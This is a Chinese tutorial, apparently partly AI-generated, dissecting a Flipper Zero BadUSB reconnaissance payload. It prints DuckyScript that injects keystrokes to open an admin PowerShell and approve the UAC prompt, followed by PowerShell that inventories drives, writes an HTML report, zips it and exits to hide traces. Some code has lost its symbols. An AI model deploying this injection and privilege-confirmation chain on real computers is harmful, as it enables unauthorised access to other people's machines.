Flipper Zero BadUSB 侦察脚本实战解析:用 USB_And_Harddrive_Information 收集目标主机 USB 与硬盘信息
Flipper Zero BadUSB 侦察脚本实战解析用 USB_And_Harddrive_Information 收集目标主机 USB 与硬盘信息【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper本篇技术指南聚焦于 Flipper Zero 的 BadUSB 应用场景深入拆解 UNC0V3R3D-BadUSB-Collection 中 Exfiltration/USB_And_Harddrive_Information 目录下的侦察脚本。读完本文你将掌握该脚本的完整运行流程、每一行 DuckyScript 与 PowerShell 的底层逻辑、必须手工修改的配置项以及如何在授权环境下安全地测试与扩展它。脚本概览它到底做了什么USB_And_Harddrive_Information.txt是一个用DuckyScript 1.0编写的 Flipper Zero BadUSB 载荷集合 README 明确说明该仓库所有脚本均基于 DuckyScript 1.0。它的核心任务是当目标 Windows 电脑插入 Flipper Zero 并被识别为键盘后自动完成以下三件事——打开 PowerShell以管理员权限启动 PowerShell 会话获取硬件信息枚举目标电脑上当前连接以及曾经连接过的 USB 卷win32_volume提取驱动器名称、卷标与剩余空间保存信息到文件将结果渲染成一份带样式的 HTML 报告保存到用户目录下新建的文件夹中最后压缩成 ZIP 包并尝试通过Compress-Archive写入指定路径。仓库中与该脚本同目录的 readme.md 将脚本归类为Exfiltration数据外传类别作者为UNC0V3R3D版本为 1.0。脚本头部注释也给出了同样的元信息REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) REM Description: Saves some general Information about the USB and Harddrives REM Version: 1.0 REM Category: Exfiltration需要强调的是该脚本所在的整个集合在 README.md 中被明确声明为仅供教育目的使用并要求使用者在使用任何脚本前获得授权、建议在虚拟机中测试。本文所有分析均面向学习与研究场景。上手前的必备准备部署到 Flipper Zero按照集合 README.md 的安装说明将脚本部署到 Flipper Zero 的流程为将USB_And_Harddrive_Information.txt拷贝到 Flipper Zero SD 卡的badusb目录使用 qFlipper 应用或手机端 Flipper Zero 应用连接设备将文件拖入SD Card -- badusb在 Flipper 上进入BadUSB分类选择该脚本并连接目标电脑后按中间按钮开始执行。唯一的强制修改点输出路径readme 中明确强调该脚本不是即插即用的not plug and play必须修改一行配置才能正常工作。需要改动的是脚本最后一行 PowerShell 命令中的目标路径Compress-Archive -Path $fileSaveDir -DestinationPath PATH TO SAVE FILE HERE\HEREresults-68597243.zip ; exit请将PATH TO SAVE FILE HERE替换为你希望 ZIP 包落盘的绝对路径例如Compress-Archive -Path $fileSaveDir -DestinationPath C:\Users\Public\Documents\HEREresults-68597243.zip ; exit若路径不存在或目标无写权限Compress-Archive会直接报错压缩步骤将失败但 HTML 报告仍已写入用户目录信息并未丢失-DestinationPath以.zip结尾Compress-Archive会自动创建该 ZIP 文件文件名中的68597243是一串随机数后缀用于在众多报告中做唯一区分可以保留也可以自行更换。运行流程逐步拆解阶段一键盘模拟与 UAC 提权DuckyScript 部分脚本的前半段完全由 DuckyScript 命令构成负责把 Flipper Zero 模拟成键盘完成一系列按键注入DELAY 750 WINDOWS d DELAY 900 WINDOWS r DELAY 900 STRING powershell Start-Process powershell -Verb runAs ENTER DELAY 750 LEFTARROW ENTER DELAY 900 ALT y DELAY 900 GUI UP DELAY 900逐行含义如下命令作用为什么需要DELAY 750等待 750ms让目标系统在设备插入后完成 USB 枚举与键盘驱动加载避免后续按键丢失WINDOWS d按下 WinD显示桌面、收起焦点窗口保证后续按键注入到干净的环境WINDOWS r按下 WinR打开运行对话框STRING powershell Start-Process powershell -Verb runAs逐字符输入命令通过Start-Process -Verb runAs请求以管理员权限启动一个新的 PowerShell 进程ENTER回车执行上面的命令触发 UAC 提权弹窗DELAY 750等待等待 UAC 弹窗出现LEFTARROW/ENTER左箭头 回车从脚本结构看用于在 UAC 弹窗上定位并确认是按钮属于对提权弹窗的交互处理ALT yAltY键盘快捷方式确认 UAC 的是Yes选项UAC 弹窗在键盘焦点下支持 AltY 确认GUI UP按下 WinUp将焦点窗口即刚打开的管理员 PowerShell 窗口最大化为后续输入命令做准备这一阶段的要点是时序控制UAC 弹窗出现速度随系统配置不同而波动脚本在此处安排了DELAY 750DELAY 900的多段等待。如果你的测试环境弹出速度更慢可以按集合 README 的排障建议把相关DELAY数值调大例如 900 → 1200。阶段二收集与生成 HTML 报告PowerShell 部分提权完成后脚本通过STRING命令将一整条 PowerShell 脚本逐字符注入管理员会话。这条长命令是整个脚本的数据收集核心可以拆解为四个步骤。第 1 步创建带时间戳的报告目录$folderDateTime (get-date).ToString(d-M-y HHmmss); $userDir (Get-ChildItem env:\userprofile).value \Walkuer Ghost $folderDateTime; $fileSaveDir New-Item ($userDir) -ItemType Directory;(get-date).ToString(d-M-y HHmmss)生成形如13-9-26 085930的时间戳确保每次运行生成独立目录不互相覆盖报告目录会被创建在当前 Windows 用户目录%USERPROFILE%下命名形如C:\Users\用户名\Walkuer Ghost 13-9-26 085930。第 2 步定义 HTML 样式并初始化报告文件$style style table td{padding-right: 10px;text-align: left;}#body {padding:50px;...}/style; $Report ConvertTo-Html -Title Recon Report -Head $style $fileSaveDir/ComputerInfo-68597243.html; $Report $Report div idbodyh1Walkuer Ghost Report/h1hr size2brh3 Generated on: $Date /h3br;内嵌的 CSS 定义了#body、#left、#right、#center四个区块的布局浮动分栏、灰色背景、滚动容器让最终 HTML 具备可读性ConvertTo-Html -Title Recon Report生成带 HTML 头与body骨架的初始内容并写入ComputerInfo-68597243.html随后追加报告标题 Walkuer Ghost Report 与生成时间。注意这里的时间是通过$Report $Report ... $Date ...以单引号字符串拼接的从实现细节看$Date在单引号内不会被展开最终 HTML 中这一处显示的是字面量$Date而非实际时间属于脚本作者遗留的小瑕疵。第 3 步枚举 USB 卷并循环写入表格这是脚本的数据采集主体通过后续多条STRING指令逐行注入$u 0; $allUsb (get-wmiobject win32_volume | select Name, Label, FreeSpace);Get-WmiObject win32_volume会枚举系统中的所有卷Win32_Volume 实例包括本地硬盘卷、U 盘、SD 卡等并筛选出Name挂载路径/驱动器号、Label卷标与FreeSpace剩余字节数三个属性。随后的do { ... } while ($u -lt $allUsb.Count)循环对每个卷生成一行 HTML 表格记录do { $gbUSB [math]::truncate($allUsb[$u].FreeSpace / 1GB); $Report $Report trtdDrive Name: /tdtd $allUsb[$u].Name $allUsb[$u].Label /tdtdFree Space: /tdtd $gbUSB GB/td/tr; Write-Output $fullUSB; $u ; } while ($u -lt $allUsb.Count); $Report $Report /table/div;[math]::truncate($allUsb[$u].FreeSpace / 1GB)把字节数换算成整数 GB 显示每个卷输出一行驱动器名 卷标 剩余空间循环结束后追加/table/div收尾两处实现细节值得注意一是Write-Output $fullUSB引用了脚本中从未赋值的变量$fullUSB从代码逻辑看这行仅输出空值、不影响结果属于冗余代码二是从数据源看win32_volume并不区分当前插入的 USB与曾经连接过的硬盘——它返回的是系统当前可见的所有卷这与 readme 描述的USB 和硬盘信息语义一致但若想严格过滤出可移动磁盘还需要额外按DriveType属性如DriveType2表示可移动磁盘做过滤这是可以自行扩展的方向。第 4 步落盘与压缩$Report $fileSaveDir/ComputerInfo-68597243.html; Compress-Archive -Path $fileSaveDir -DestinationPath PATH TO SAVE FILE HERE\HEREresults-68597243.zip ; exit使用将累计的$Report内容追加回 HTML 文件形成完整的报告Compress-Archive -Path $fileSaveDir把整个带时间戳的报告目录压缩为 ZIP输出到你修改过的-DestinationPath命令末尾的; exit关闭管理员 PowerShell尽量不留痕迹。输出产物解读脚本执行成功后会在目标电脑上留下两类产物HTML 侦察报告位于%USERPROFILE%\Walkuer Ghost 时间戳\ComputerInfo-68597243.html包含一个标题为 Walkuer Ghost Report 的表格逐行列出了每个卷的驱动器名、卷标和剩余空间GBZIP 压缩包位于你配置的-DestinationPath内容即上述报告目录。从实战角度看这份报告的价值在于快速盘点目标主机的存储拓扑哪些卷存在、卷标是什么卷标常包含用户对盘符用途的命名习惯、各卷剩余空间大小这些信息可以为进一步的侦察决策提供参考。同系列脚本与扩展阅读USB_And_Harddrive_Information位于集合的 Exfiltration 分类下与该分类中的其他侦察脚本共用同一套DuckyScript 提权 PowerShell 收集 HTML 报告 ZIP 压缩骨架可以对照学习General_PC_Information收集操作系统、序列号、CPU、内存、显卡、防火墙状态等整机信息Win_User_Info收集当前 Windows 用户信息Document_Exfil/Network_Exfiltration/SAMexfil文档、网络配置与 SAM 数据的外传。如果你想深入这套脚本的编写风格集合 README.md 还提供了重要的方法论该仓库约 97% 的 DuckyScript 都依赖 PowerShell 完成实际工作脚本中的REM注释行会解释每一步的用途遇到 ERROR: line 5 之类的报错时优先检查文本中是否存在多余空行、LOCALE指令或行首空格并适当增大DELAY数值。安全与合规边界该脚本会触发UAC 管理员提权弹窗并创建/压缩文件、修改系统目录属于高权限操作集合 README.md 与 readme 均强调仅供教育目的必须先获得目标系统所有者授权作者不对使用后果负责强烈建议在隔离的虚拟机中先跑通流程、验证你修改的-DestinationPath是否正确再考虑其他场景在未授权的机器上运行此类脚本可能违反当地法律法规请在合法合规的测试环境中使用本文涉及的全部技术。【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考